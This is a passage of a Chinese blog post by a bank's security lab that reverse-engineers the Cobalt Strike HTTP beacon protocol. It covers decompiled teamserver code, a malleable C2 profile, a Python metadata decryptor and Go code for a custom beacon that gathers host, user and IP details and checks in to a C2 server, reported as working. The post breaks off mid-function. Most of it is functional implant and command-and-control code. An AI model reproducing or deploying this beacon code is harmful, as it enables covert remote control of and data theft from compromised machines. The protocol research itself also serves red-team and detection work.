【干货】cobaltstrike通信协议研究

百家 作者:平安安全应急响应中心 2022-02-18 13:37:14

作者简介?/Profile/

罗逸,平安科技银河实验室资深安全研究员,从业7年,专注红蓝对抗研究,擅长免杀技术、目标控制、内网渗透等。



目录
0x01 HTTP/HTTPS Beacon通信过程
? ? ? ? ?1.1 Beacon的源数据包
? ? ? ? ? ? ? ? ?1.1.1 封包、解包http get请求
? ? ? ? ? ? ? ? ? ? ? ? ?解包
? ? ? ? ? ? ? ? ? ? ? ? ?封包
? ? ? ? ? ? ? ? ?1.1.2 解析Beacon 源数据
? ? ? ? ? ? ? ? ? ? ? ? ?解析
? ? ? ? ? ? ? ? ? ? ? ? ?验证解析
? ? ? ? ? ? ? ? ? ? ? ? ?封包
? ? ? ? ? ? ? ? ? ? ? ? ?测试上线
? ? ? ? ?1.2 下发Beacon的task数据
? ? ? ? ? ? ? ? ?1.2.1 封装task任务数据
? ? ? ? ? ? ? ? ?1.2.2 task任务的数据格式
? ? ? ? ? ? ? ? ?1.2.3 使用python脚本测试解包
? ? ? ? ? ? ? ? ?1.2.4 使用golang完成解包
? ? ? ? ?1.3 Beacon返回的task任务数据
? ? ? ? ? ? ? ? ?1.3.1 解析返回的task任务数据
? ? ? ? ? ? ? ? ?1.3.2 task任务返回数据的格式
? ? ? ? ? ? ? ? ?1.3.3 使用python解析task任务返回的数据
? ? ? ? ? ? ? ? ?1.3.4 使用golang封包task返回的任务数据
0x02 跨平台http/https Beacon
0x03 Bind tcp Beacon通信过程
? ? ? ? ?3.1 解析bindtcp源数据
? ? ? ? ? ? ? ? ?3.1.1 验证解析数据
? ? ? ? ? ? ? ? ?3.1.2 golang模拟connect命令封包
? ? ? ? ? ? ? ? ?3.1.3 关于hint
? ? ? ? ?3.2 解析bindtcp task返回数据
? ? ? ? ? ? ? ? ?3.2.1 验证解析数据
? ? ? ? ? ? ? ? ?3.2.2 golang模拟发送请求
0x04 跨平台的bindtcp Beacon
? ? ? ? ?4.1 子beacon的任务过程
? ? ? ? ?4.2 父beacon的任务过程



第一部分
HTTP/HTTPS Beacon通信过程


如上:

1. 我们的beacon先是搜集主机的一些信息和生成一个随机的bid然后通过rsa加密后用http协议get方式将数据发送给teamserver;
2. teamserver收到这个上线包之后,rsa解密获得主机信息,并显示在target列表中;
3. beacon发送上线包之后就会进入一个while循环,等到sleep时间到了之后,就http get去;
teamserver拉取命令列表,如果此时的teamserver没得命令,就又进入休眠时间;
4. 当我们在teamserver的beacon console中输入了命令时,beacon http get拉取命令命令时,teamserver就会在http get response中返回命令队列,beacon收到队列后依次去执行;
5. 执行时,如果有执行结果返回,beacon会等待当前的休眠周期结束,结束休眠周期后,通过httppost方法将AES加密的执行结果返回给teamserver;
6. teamserver会模拟一个http post response返回给beacon,使得这个http请求看起来是合理的。


1.1 Beacon的源数据包


beacon上线时,会收集一些当前机器的信息和生成一个随机的bid并用teamserver中生成的公钥进行加密,然后还需要根据我们指定的profile中模拟的http请求进行进行一次封装,最后再通过http get请求发送到teamserver。

1.1.1 封包、解包http get请求

解包

cobaltstrike从http get请求中提取加密之后的源数据,代码如下:
decompiled_src/beacon/BeaconHTTP.java):
public byte[] serve(String var1, String var2, Properties var3, Properties var4) { //获取get请求的远程地址,即http回连的外网地址 String var5 = ServerUtils.getRemoteAddress(BeaconHTTP.this.c2profile, var3); //根据profile在get请求中获取rsa加密后的metadata的hexString String var6 = BeaconHTTP.this.c2profile.recover(".http-get.client.metadata", var3, var4, BeaconHTTP.this.getPostedData(var4), var1); //判断源数据是否有效,加密后的源数据是定长的,始终是128字节 if (var6.length() != 0 && var6.length() == 128) { //监听器 //var5=回连的外网地址 //加密后的元数据字节数组 //null //0 BeaconEntry var7 = BeaconHTTP.this.controller.process_beacon_metadata(BeaconHTTP.this.listener, var5, CommonUtils.toBytes(var6), (String)null, 0); if (var7 == null) { MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5); return new byte[0]; } else { //获取beacon队列任务 byte[] var8 = BeaconHTTP.this.controller.dump(var7.getId(), 921600, 1048576); //任务队列有任务 if (var8.length > 0) { //返回解密的任务数据 byte[] var9 = BeaconHTTP.this.controller.getSymmetricCrypto().encrypt(var7.getId(), var8); return var9; } else { return new byte[0]; } } } else { CommonUtils.print_error("Invalid session id"); MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5); return new byte[0]; }}

这里实际解析profile是在decompiled_src/c2profile/Profile.java的recover函数和decompiled_src/c2profile/Program.java的recover函数,代码台长,就不贴了。原理如下:

比如我们编写一个profile,其中有关于http get请求的模拟设置如下:

http-get { set uri "/api/getid"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } }
server { header "Server" "Pingan Frontend Proxy"; header "x-pingan-id" "wwvdT1M01kspYwKlmJIe0delKPUqYiRw6VYJKw9kekjO01FMl2QIStx="; header "X-Frame-Options" "SAMEORIGIN"; header "Content-Type" "image/png"; output { # mask; base64; prepend ".PNG"; print; } }}

使用c2lint解析之后的实际http get请求如下:
GET /api/getid HTTP/1.1Accept: */*Cookie: SESSIONID=WI71wcgrH+kAG/NBYK5qCQ==User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.177

其中Cookie中对应的SESSIONID的值就是加密之后的源数据。这里的Cookie和SESSIONID是自定义的,所以需要cobaltstrike根据实际的profile解析。

当收到http get请求时,cobaltstrike就会根据profile的设置提取出Cookie中SESSIONID的值,也就是WI71wcgrH+kAG/NBYK5qCQ==,将这个值进行base64解密,得到的就是rsa加密后的源数据。

封包

模拟对于的http get的请求完善http header。
Getheader = req.Header{ "Cookie":"SESSIONID=%ENCDATA%", "Accept":"*/*", "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
}

然后将需要发送的数据替换其中的%ENCDATA%,再进行http 发送。
func HttpGet(url string, encData string) []byte { httpRequest := req.New() for k,v := range config.Getheader{ if strings.Contains(v,"%ENCDATA%"){ config.Getheader[k] = strings.Replace(v, "%ENCDATA%", encData, -1 ) } }
resp, err := httpRequest.Get(url, config.Getheader) if err != nil { fmt.Printf("[-] Get http data error: %s\n", err.Error()) return nil }
defer resp.Response().Body.Close() if resp.Response().StatusCode != http.StatusOK { fmt.Printf("[-] Get http response status code: %s\n", resp.Response().StatusCode) return nil }else { return resp.Bytes() }}

调用httpGet函数,将beacon的源数据发送到ts。
func FirstBlood() bool { encryptedMetaInfo = EncryptedMetaInfo() for { respBytes := HttpGet(config.GetUrl, encryptedMetaInfo) if respBytes != nil { break } time.Sleep(time.Duration(config.Sleep) * time.Millisecond) } return true}

1.1.2 解析Beacon 源数据

解析

将rsa加密之后的源数据提取出来之后,就需要解密这些源数据,dns/AsymmetricCrypto.class
public byte[] decrypt(byte[] var1) { byte[] var2 = new byte[0];
try { //rsa解密 synchronized(this.cipher) { this.cipher.init(2, this.privatekey); var2 = this.cipher.doFinal(var1); }
DataInputStream var3 = new DataInputStream(new ByteArrayInputStream(var2)); int var4 = var3.readInt(); if (var4 != 48879) { //对比魔术头 4字节 System.err.println("Magic number failed :( [RSA decrypt]"); return new byte[0]; } else { int var5 = var3.readInt(); if (var5 > 117) {//对比metadata数据长度 4字节 System.err.println("Length field check failed :( [RSA decrypt]"); return new byte[0]; } else { byte[] var6 = new byte[var5]; var3.readFully(var6, 0, var5); return var6; } } } catch (Exception var8) { MudgeSanity.logException("RSA decrypt", var8, false); return new byte[0]; }}

处理解密之后的源数据src/beacon/BeaconC2.java:
public BeaconEntry process_beacon_metadata(ScListener var1, String var2, byte[] var3, String var4, int var5) { // 先用ts的私钥进行rsa解密 byte[] var6 = this.getAsymmetricCrypto().decrypt(var3); if (var6 != null && var6.length != 0) { //byte[] 转 string String var7 = CommonUtils.bString(var6); //16 globalkey,用来计算beacon task任务需要的AESkey和HashMac String var8 = var7.substring(0, 16); //2 编码相关 String var9 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(16, 18))); //2 编码相关 String var10 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(18, 20)));
String var11 = ""; //回连的listener名称 BeaconEntry var12; if (var1 != null) { var11 = var1.getName(); } else if (var4 != null) { //父beacon对应的回连的listener var12 = this.getCheckinListener().resolveEgress(var4); if (var12 != null) { var11 = var12.getListenerName(); } }
////////////// //var6 rsa 解密后的数据 //var9 编码相关参数 //var2 回连的外网ip //var11 监听器名称 ////////////// var12 = new BeaconEntry(var6, var9, var2, var11); if (!var12.sane()) { CommonUtils.print_error("Session " + var12 + " metadata validation failed. Dropping"); return null; } else { // beaconid //var9 编码相关参数 //var10 编码相关参数 this.getCharsets().register(var12.getId(), var9, var10); //父beacon不为空,说明是通过父beacon向外连接的 if (var4 != null) { //初始化link的父beacon var12.link(var4, var5); }
//将回连Beacon的bid和他的Global key进行绑定 this.getSymmetricCrypto().registerKey(var12.getId(), CommonUtils.toBytes(var8)); if (this.getCheckinListener() != null) { this.getCheckinListener().checkin(var1, var12); } else { CommonUtils.print_stat("Checkin listener was NULL (this is good!)"); }
return var12; } } else { CommonUtils.print_error("decrypt of metadata failed"); return null; }}

解析源数据,对应的代码decompiled_src/common/BeaconEntry.java。
//var1 源数据public BeaconEntry(byte[] var1, String var2, String var3, String var4) { boolean var5; try { DataParser var6 = new DataParser(var1); var6.big(); //跳过前20字节(16字节globalkey+2字节ANSI+2字节OEM) var6.consume(20); this.id = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));//bid 4字节 this.pid = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));//pid 4字节 this.port = Integer.toString(CommonUtils.toUnsignedShort(var6.readShort()));//port 2字节 byte var7 = var6.readByte(); //metaDataFlag,用来判断barch的 1字节 if (CommonUtils.Flag(var7, 1)) { this.barch = ""; this.pid = ""; this.is64 = ""; } else if (CommonUtils.Flag(var7, 2)) { this.barch = "x64"; } else { this.barch = "x86"; }
this.is64 = CommonUtils.Flag(var7, 4) ? "1" : "0"; var5 = CommonUtils.Flag(var7, 8); byte var8 = var6.readByte();//大版本号 1字节 byte var9 = var6.readByte();//小版本号 1字节 this.ver = var8 + "." + var9; this.build = var6.readShort();//构建号 2字节 byte[] var10 = var6.readBytes(4); //gmh_gpa 4字节 this.ptr_gmh = var6.readBytes(4); //gmh函数地址 4字节 this.ptr_gpa = var6.readBytes(4); //gpa函数地址 4字节 if ("x64".equals(this.barch)) { this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh); this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa); }
this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh); this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa); var6.little(); this.intz = AddressList.toIP(CommonUtils.toUnsignedInt(var6.readInt()));//localip 4字节 var6.big(); if ("0.0.0.0".equals(this.intz)) { this.intz = "unknown"; } } catch (IOException var11) { MudgeSanity.logException("Could not parse metadata!", var11, false); this.sane = false; return; } //上面的从meta data中获取的就是源数据头,是每个beacon回连的源数据都必须的,一共51字节
//后续的数据是一个字符串列表包括了机器名、用户名等。 String var12 = CommonUtils.bString(Arrays.copyOfRange(var1, 51, var1.length), var2); String[] var13 = var12.split("\t"); if (var13.length > 0) { this.comp = var13[0]; //机器名 }
if (var13.length > 1) { this.user = var13[1]; //用户名 }
if (var13.length > 2) { if (this.isSSH()) { this.ver = var13[2]; //版本 } else { this.proc = var13[2]; //process name } }
if (var5) { this.user = this.user + " *"; //是否是管理员用户 }
this.ext = var3; this.chst = var2; this.lname = var4; this.sane = this.sanity();}

Beacon并不是直接发送AES keyHMAC key而是发送Global key,然后cs计算这个字符串的哈希值 (32位),这个哈希值的前16位作为AES key后16位作为HMAC key,dns/BaseSecurity.java代码如下:
public void registerKey(String var1, byte[] var2) { synchronized(this) { if (keymap.containsKey(var1)) { return; } }
try { MessageDigest var3 = MessageDigest.getInstance("SHA-256"); byte[] var4 = var3.digest(var2); byte[] var5 = Arrays.copyOfRange(var4, 0, 16); byte[] var6 = Arrays.copyOfRange(var4, 16, 32); Session var7 = new Session(); var7.key = new SecretKeySpec(var5, "AES"); //aes key var7.hash_key = new SecretKeySpec(var6, "HmacSHA256"); //HMAC synchronized(this) { keymap.put(var1, var7); } } catch (Exception var11) { var11.printStackTrace(); }}

我们根据cobaltstrike解析源数据的方法,通过python来实现同样的功能,方便我们验证beacon的meta data,如下:
'''Beacon元数据'''import binasciiimport hashlibimport M2Cryptoimport base64import hexdump
PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAJRT8xnRHtWnv2iL3Kqo0s5swaao...rH0+XxA0dI0=-----END RSA PRIVATE KEY-----"""
base64_key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def HexToByte( hexStr ): return bytes.fromhex(hexStr)
#encode_data = HexToByte("873b8a747e627424c23a2959b6314905fb3a683401eff8a792774f94c7cf5d4b363fa3cf70a83e86886fbab1eea85bde67aaed95f16dddfa2c76c310ca94f449e7945ba182e1c48a82aeb23adcad007e7a80666cefdad56a8c63a2077abddcd26d20cf962f052f1c7607cc8c5012ba50f126021d978c273edb54ecaf60f744a7")encode_data = base64.b64decode("DltOc8INq7p9Pv+hmkLuhvSAm+wH2RZ7sixOxf6U4+Jr46TAlDNBj06KcXB054BcdMDqp91+KW8R9VF8P49FYa3cPcqgiohmuEbGthjGLzgR3zEaUvuQ7xriMsjgbqNQ1+/2bdqsHYtVBT+GPdddkrquZie7H+LGchaJfTy0wPA=")
pubkey = M2Crypto.RSA.load_key_string(PRIVATE_KEY.format(base64_key).encode())ciphertext = pubkey.private_decrypt(encode_data, M2Crypto.RSA.pkcs1_padding)
def isFlag(var, flag): return (var & flag) == flag

def toIP(var): var2 = (var & -16777216) >> 24 var4 = (var & 16711680) >> 16 var6 = (var & 65280) >> 8 var8 = var & 255 return str(var2) + "." + str(var4) + "." + str(var6) + "." + str(var8)

def getName(var0): if var0 == 37: return "IBM037" elif var0 == 437: return "IBM437" elif var0 == 500: return "IBM500" elif var0 == 708: return "ISO-8859-6" elif var0 == 709: return "" elif var0 == 710: return "" elif var0 == 720: return "IBM437" elif var0 == 737: return "x-IBM737" elif var0 == 775: return "IBM775" elif var0 == 850: return "IBM850" elif var0 == 852: return "IBM852" elif var0 == 855: return "IBM855" elif var0 == 857: return "IBM857" elif var0 == 858: return "IBM00858" elif var0 == 860: return "IBM860" elif var0 == 861: return "IBM861" elif var0 == 862: return "IBM862" elif var0 == 863: return "IBM863" elif var0 == 864: return "IBM864" elif var0 == 865: return "IBM865" elif var0 == 866: return "IBM866" elif var0 == 869: return "IBM869" elif var0 == 870: return "IBM870" elif var0 == 874: return "x-windows-874" elif var0 == 875: return "IBM875" elif var0 == 932: return "Shift_JIS" elif var0 == 936: return "x-mswin-936" elif var0 == 949: return "x-windows-949" elif var0 == 950: return "Big5" elif var0 == 1026: return "IBM1026" elif var0 == 1047: return "IBM1047" elif var0 == 1140: return "IBM01140" elif var0 == 1141: return "IBM01141" elif var0 == 1142: return "IBM01142" elif var0 == 1143: return "IBM01143" elif var0 == 1144: return "IBM01144" elif var0 == 1145: return "IBM01145" elif var0 == 1146: return "IBM01146" elif var0 == 1147: return "IBM01147" elif var0 == 1148: return "IBM01148" elif var0 == 1149: return "IBM01149" elif var0 == 1200: return "UTF-16LE" elif var0 == 1201: return "UTF-16BE" elif var0 == 1250: return "windows-1250" elif var0 == 1251: return "windows-1251" elif var0 == 1252: return "windows-1252" elif var0 == 1253: return "windows-1253" elif var0 == 1254: return "windows-1254" elif var0 == 1255: return "windows-1255" elif var0 == 1256: return "windows-1256" elif var0 == 1257: return "windows-1257" elif var0 == 1258: return "windows-1258" elif var0 == 1361: return "x-Johab" elif var0 == 10000: return "x-MacRoman" elif var0 == 10001: return "" elif var0 == 10002: return "" elif var0 == 10003: return "" elif var0 == 10004: return "x-MacArabic" elif var0 == 10005: return "x-MacHebrew" elif var0 == 10006: return "x-MacGreek" elif var0 == 10007: return "x-MacCyrillic" elif var0 == 10008: return "" elif var0 == 10010: return "x-MacRomania" elif var0 == 10017: return "x-MacUkraine" elif var0 == 10021: return "x-MacThai" elif var0 == 10029: return "x-MacCentralEurope" elif var0 == 10079: return "x-MacIceland" elif var0 == 10081: return "x-MacTurkish" elif var0 == 10082: return "x-MacCroatian" elif var0 == 12000: return "UTF-32LE" elif var0 == 12001: return "UTF-32BE" elif var0 == 20000: return "x-ISO-2022-CN-CNS" elif var0 == 20001: return "" elif var0 == 20002: return "" elif var0 == 20003: return "" elif var0 == 20004: return "" elif var0 == 20005: return "" elif var0 == 20105: return "" elif var0 == 20106: return "" elif var0 == 20107: return "" elif var0 == 20108: return "" elif var0 == 20127: return "US-ASCII" elif var0 == 20261: return "" elif var0 == 20269: return "" elif var0 == 20273: return "IBM273" elif var0 == 20277: return "IBM277" elif var0 == 20278: return "IBM278" elif var0 == 20280: return "IBM280" elif var0 == 20284: return "IBM284" elif var0 == 20285: return "IBM285" elif var0 == 20290: return "IBM290" elif var0 == 20297: return "IBM297" elif var0 == 20420: return "IBM420" elif var0 == 20423: return "" elif var0 == 20424: return "IBM424" elif var0 == 20833: return "" elif var0 == 20838: return "IBM-Thai" elif var0 == 20866: return "KOI8-R" elif var0 == 20871: return "IBM871" elif var0 == 20880: return "" elif var0 == 20905: return "" elif var0 == 20924: return "" elif var0 == 20932: return "EUC-JP" elif var0 == 20936: return "GB2312" elif var0 == 20949: return "" elif var0 == 21025: return "x-IBM1025" elif var0 == 21027: return "" elif var0 == 21866: return "KOI8-U" elif var0 == 28591: return "ISO-8859-1" elif var0 == 28592: return "ISO-8859-2" elif var0 == 28593: return "ISO-8859-3" elif var0 == 28594: return "ISO-8859-4" elif var0 == 28595: return "ISO-8859-5" elif var0 == 28596: return "ISO-8859-6" elif var0 == 28597: return "ISO-8859-7" elif var0 == 28598: return "ISO-8859-8" elif var0 == 28599: return "ISO-8859-9" elif var0 == 28603: return "ISO-8859-13" elif var0 == 28605: return "ISO-8859-15" elif var0 == 29001: return "" elif var0 == 38598: return "ISO-8859-8" elif var0 == 50220: return "ISO-2022-JP" elif var0 == 50221: return "ISO-2022-JP-2" elif var0 == 50222: return "ISO-2022-JP" elif var0 == 50225: return "ISO-2022-KR" elif var0 == 50227: return "ISO-2022-CN" elif var0 == 50229: return "ISO-2022-CN" elif var0 == 50930: return "x-IBM930" elif var0 == 50931: return "" elif var0 == 50933: return "x-IBM933" elif var0 == 50935: return "x-IBM935" elif var0 == 50936: return "" elif var0 == 50937: return "x-IBM937" elif var0 == 50939: return "x-IBM939" elif var0 == 51932: return "EUC-JP" elif var0 == 51936: return "GB2312" elif var0 == 51949: return "EUC-KR" elif var0 == 51950: return "" elif var0 == 52936: return "GB2312" elif var0 == 54936: return "GB18030" elif var0 == 57002: return "x-ISCII91" elif var0 == 57003: return "x-ISCII91" elif var0 == 57004: return "x-ISCII91" elif var0 == 57005: return "x-ISCII91" elif var0 == 57006: return "x-ISCII91" elif var0 == 57007: return "x-ISCII91" elif var0 == 57008: return "x-ISCII91" elif var0 == 57009: return "x-ISCII91" elif var0 == 57010: return "x-ISCII91" elif var0 == 57011: return "x-ISCII91" elif var0 == 65000: return "" elif var0 == 65001: return "UTF-8"

if ciphertext[0:4] == b'\x00\x00\xBE\xEF': print("ciphertext: ",binascii.b2a_hex(ciphertext)) # 16 raw_aes_keys = ciphertext[8:24]
# 2 var9 = ciphertext[24:26] var9 = int.from_bytes(var9, byteorder='little', signed=False) var9 = getName(var9) # 2 var10 = ciphertext[26:28] var10 = int.from_bytes(var10, byteorder='little', signed=False) var10 = getName(var10)
# 4 id = ciphertext[28:32] id = int.from_bytes(id, byteorder='big', signed=False) print("Beacon id:%x"%id)
# 4 pid = ciphertext[32:36] pid = int.from_bytes(pid, byteorder='big', signed=False) print("pid:{}".format(pid))
# 2 port = ciphertext[36:38] port = int.from_bytes(port, byteorder='big', signed=False) print("port:{}".format(port))
# 1 flag = ciphertext[38:39] flag = int.from_bytes(flag, byteorder='big', signed=False) # print(flag)
if isFlag(flag, 1): barch = "" pid = "" is64 = "" elif isFlag(flag, 2): barch = "x64" else: barch = "x86"
if isFlag(flag, 4): is64 = "1" else: is64 = "0"
if isFlag(flag, 8): bypassuac = "True" else: bypassuac = "False"
print("barch:" + barch) print("is64:" + is64) print("bypass:" + bypassuac)
# 2 var_1 = ciphertext[39:40] var_2 = ciphertext[40:41] var_1 = int.from_bytes(var_1, byteorder='big', signed=False) var_2 = int.from_bytes(var_2, byteorder='big', signed=False) windows_var = str(var_1) + "." + str(var_2) print("windows var:" + windows_var)
# 2 windows_build = ciphertext[41:43] windows_build = int.from_bytes(windows_build, byteorder='big', signed=False) print("windows build:{}".format(windows_build))
# 4 x64_P = ciphertext[43:47]
# 4 ptr_gmh = ciphertext[47:51] # 4 ptr_gpa = ciphertext[51:55]
# if ("x64".equals(this.barch)) { # this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh) # this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa) # } # # this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh) # this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa)
# 4 intz = ciphertext[55:59] intz = int.from_bytes(intz, byteorder='little', signed=False) intz = toIP(intz)
if intz == "0.0.0.0": intz = "unknown" print("host:" + intz)
if var9 == None: ddata = ciphertext[59:len(ciphertext)].decode("ISO8859-1") else: # ??x-mswin-936 # ddata = ciphertext[59:len(ciphertext)].decode(var9) ddata = ciphertext[59:len(ciphertext)].decode("ISO8859-1")
ddata = ddata.split("\t") if len(ddata) > 0: computer = ddata[0] if len(ddata) > 1: username = ddata[1] if len(ddata) > 2: process = ddata[2]
print("PC name:" + computer) print("username:" + username) print("process name:" + process)
raw_aes_hash256 = hashlib.sha256(raw_aes_keys) digest = raw_aes_hash256.digest() aes_key = digest[0:16] hmac_key = digest[16:]
print("AES key:{}".format(aes_key.hex())) print("HMAC key:{}".format(hmac_key.hex()))
print(hexdump.hexdump(ciphertext))

验证解析

我们使用cobaltstrike新建一个http的监听,执行上线,然后使用wareshark抓取返回的数据。
?

解析后的结果如下:


其中的AES key用来加解密后续此beacon的task任务,HAMC用来验证task任务返回数据的正确性。

封包

根据cobaltstrike的解析源数据的过程,我们得到metadata源数据的格式如下:


我们用golang来实现的对应的封装源数据的过程,如下:
func MakeMetaInfo() []byte {
clientIDBytes := make([]byte, 4) binary.BigEndian.PutUint32(clientIDBytes, uint32(config.ClientID))
processID := sysinfo.GetPID() processIDBytes := make([]byte, 4) binary.BigEndian.PutUint32(processIDBytes, uint32(processID))
port := 22 sshPortBytes := make([]byte, 2) binary.BigEndian.PutUint16(sshPortBytes, uint16(port))
metadataFlag := sysinfo.GetMetaDataFlag() flagBytes := make([]byte, 1) flagBytes[0] = byte(metadataFlag)
//for OS Version osVersion := sysinfo.GetOSVersion() osVerSlice := strings.Split(string(osVersion), ".") osMajorVerison := 0 osMinorVersion := 0 osBuild := 0 if len(osVerSlice) == 3 { osMajorVerison, _ = strconv.Atoi(osVerSlice[0]) osMinorVersion, _ = strconv.Atoi(osVerSlice[1]) osBuild, _ = strconv.Atoi(osVerSlice[2]) } else if len(osVerSlice) == 2 { osMajorVerison, _ = strconv.Atoi(osVerSlice[0]) osMinorVersion, _ = strconv.Atoi(osVerSlice[1]) } majorVerBytes := make([]byte, 1) minorVerBytes := make([]byte, 1) buildBytes := make([]byte, 2) majorVerBytes[0] = byte(osMajorVerison) minorVerBytes[0] = byte(osMinorVersion) binary.BigEndian.PutUint16(buildBytes, uint16(osBuild))
ptrGMHGPA := 0 ptrGMHGPABytes := make([]byte, 4) binary.BigEndian.PutUint32(ptrGMHGPABytes, uint32(ptrGMHGPA))
ptrGMHFuncAddr := 0 ptrGMHBytes := make([]byte, 4) binary.BigEndian.PutUint32(ptrGMHBytes, uint32(ptrGMHFuncAddr))
ptrGPAFuncAddr := 0 ptrGPABytes := make([]byte, 4) binary.BigEndian.PutUint32(ptrGPABytes, uint32(ptrGPAFuncAddr))
localIP := sysinfo.GetLocalIPInt() localIPBytes := make([]byte, 4) binary.BigEndian.PutUint32(localIPBytes, uint32(localIP))
hostName := sysinfo.GetComputerName() currentUser := sysinfo.GetUsername() OS := sysinfo.GetCurrentOS()
osInfo := fmt.Sprintf("%s\t%s\t%s", hostName, currentUser, OS) osInfoBytes := []byte(osInfo) binary.BigEndian.PutUint32(localIPBytes, uint32(localIP)) onlineInfoBytes := util.BytesCombine(clientIDBytes, processIDBytes, sshPortBytes, flagBytes, majorVerBytes, minorVerBytes, buildBytes, ptrGMHGPABytes, ptrGMHBytes, ptrGPABytes, localIPBytes, osInfoBytes)
localeANSI := sysinfo.GetCodePageANSI() localeOEM := sysinfo.GetCodePageOEM() metaInfo := util.BytesCombine(config.GlobalKey, localeANSI, localeOEM, onlineInfoBytes)
magicNum := sysinfo.GetMagicHead() metaLen := WritePacketLen(metaInfo) packetToEncrypt := util.BytesCombine(magicNum, metaLen, metaInfo) return packetToEncrypt}

封装完成之后,使用ts的公钥进行rsa加密:
func RsaEncrypt(origData []byte) ([]byte, error) {
block, _ := pem.Decode([]byte(config.RsaPublicKey)) if block == nil { return nil, errors.New("public key error") } pubInterface, err := x509.ParsePKIXPublicKey(block.Bytes) if err != nil { return nil, err } pub := pubInterface.(*rsa.PublicKey) return rsa.EncryptPKCS1v15(rand.Reader, pub, origData)}

测试上线

如上,我们使用golang语言按照cobaltstrike的封包格式和源数据格式进行组包封装,看是否能够上线。首先配置profile的内容,包括回连地址,全局变量c2profile.go。
var (    RsaPublicKey string = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GN...-----END PUBLIC KEY-----"    C2 string = "***.**.***.**"    Port string = "**"    SSL bool = false    Sleep int = 2500    Jitter int = 500
GetPath string = "/api/getid" GetPrepend int = 4 GetAppend int = 0
PostPath string = "/api/postid?s=1124&d_referer=http%3A%2F%2Fbank.pingan.com" PostPrepend string = ".PNG" PostAppend string = "")

配置http请求头
Getheader = req.Header{ "Cookie":"SESSIONID=%ENCDATA%", "Accept":"*/*", "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",}
Postheader = req.Header{ "Cookie":"JSESSION=%ENCBEACONID%", "Content-Type":"image/png", "Accept":"*/*", "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",}

然后调用源数据组包函数,获得rsa加密的源数据,再进行http封包,最终发送给ts。
func FirstBlood() bool { encryptedMetaInfo = EncryptedMetaInfo()//源数据封包并加密 for { respBytes := HttpGet(config.GetUrl, encryptedMetaInfo)//http封包并发送 if respBytes != nil { break } time.Sleep(time.Duration(config.Sleep) * time.Millisecond) } return true}

测试结果,成功上线:



1.2 下发Beacon的task数据


上面介绍了beacon上线的通信数据,现在我们来看ts给beacon下发命令和执行结果返回的详细情况。


如上图是一次task下发到返回执行结果的过程:

1. beacon使用http get请求向ts发送上线数据的同时,获取ts返回的http get response即为封包的task任务数据。

2. 根据配置的profile信息,删除prepend data和append data得到AES加密的task数据。

3. AES解密task数据,并根据实际的task任务的类型执行相应的操作,并获得执行结果。

4. 将执行结果AES加密,并封包global key计算获得的HMAC,再进行base64编码。

5. 将执行结果封包后的数据加上prepend data和append data。

6. 最后进行http post数据封包,再发送给ts。

1.2.1 封装task任务数据

当ts在收到http get请求之后,判断是否是beacon源数据返回之后就会查看ts的任务列表,如果有任务,就会加密发送。decompiled_src/beacon/BeaconHTTP.java
BeaconEntry var7 = BeaconHTTP.this.controller.process_beacon_metadata(BeaconHTTP.this.listener, var5, CommonUtils.toBytes(var6), (String)null, 0); //解析http get返回的源数据if (var7 == null) { MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5); return new byte[0];} else { //获取beacon队列任务 byte[] var8 = BeaconHTTP.this.controller.dump(var7.getId(), 921600, 1048576); //任务队列有任务 if (var8.length > 0) { //加密任务数据 byte[] var9 = BeaconHTTP.this.controller.getSymmetricCrypto().encrypt(var7.getId(), var8); return var9; } else { return new byte[0]; }}

跟进encrypt函数就是aes加密task任务数据。
//var1 bid//var2 task任务数据(taskType+taskBuffer)public byte[] encrypt(String var1, byte[] var2) { try { if (!this.isReady(var1)) { CommonUtils.print_error("encrypt: No session for '" + var1 + "'"); return new byte[0]; }
ByteArrayOutputStream var3 = new ByteArrayOutputStream(var2.length + 1024); DataOutputStream var15 = new DataOutputStream(var3); SecretKey var5 = this.getKey(var1); //获取对应beacon的AESkey SecretKey var6 = this.getHashKey(var1);//获取对应beacon的hashmac var3.reset(); var15.writeInt((int)(System.currentTimeMillis() / 1000L)); //写入时间戳 var15.writeInt(var2.length); //写入task任务数据长度 var15.write(var2, 0, var2.length); this.pad(var3); Object var7 = null; byte[] var16; synchronized(this.in) { var16 = this.do_encrypt(var5, var3.toByteArray()); //AES加密任务数据 }
Object var8 = null; byte[] var17; synchronized(this.mac) { this.mac.init(var6); var17 = this.mac.doFinal(var16); //hashmac }
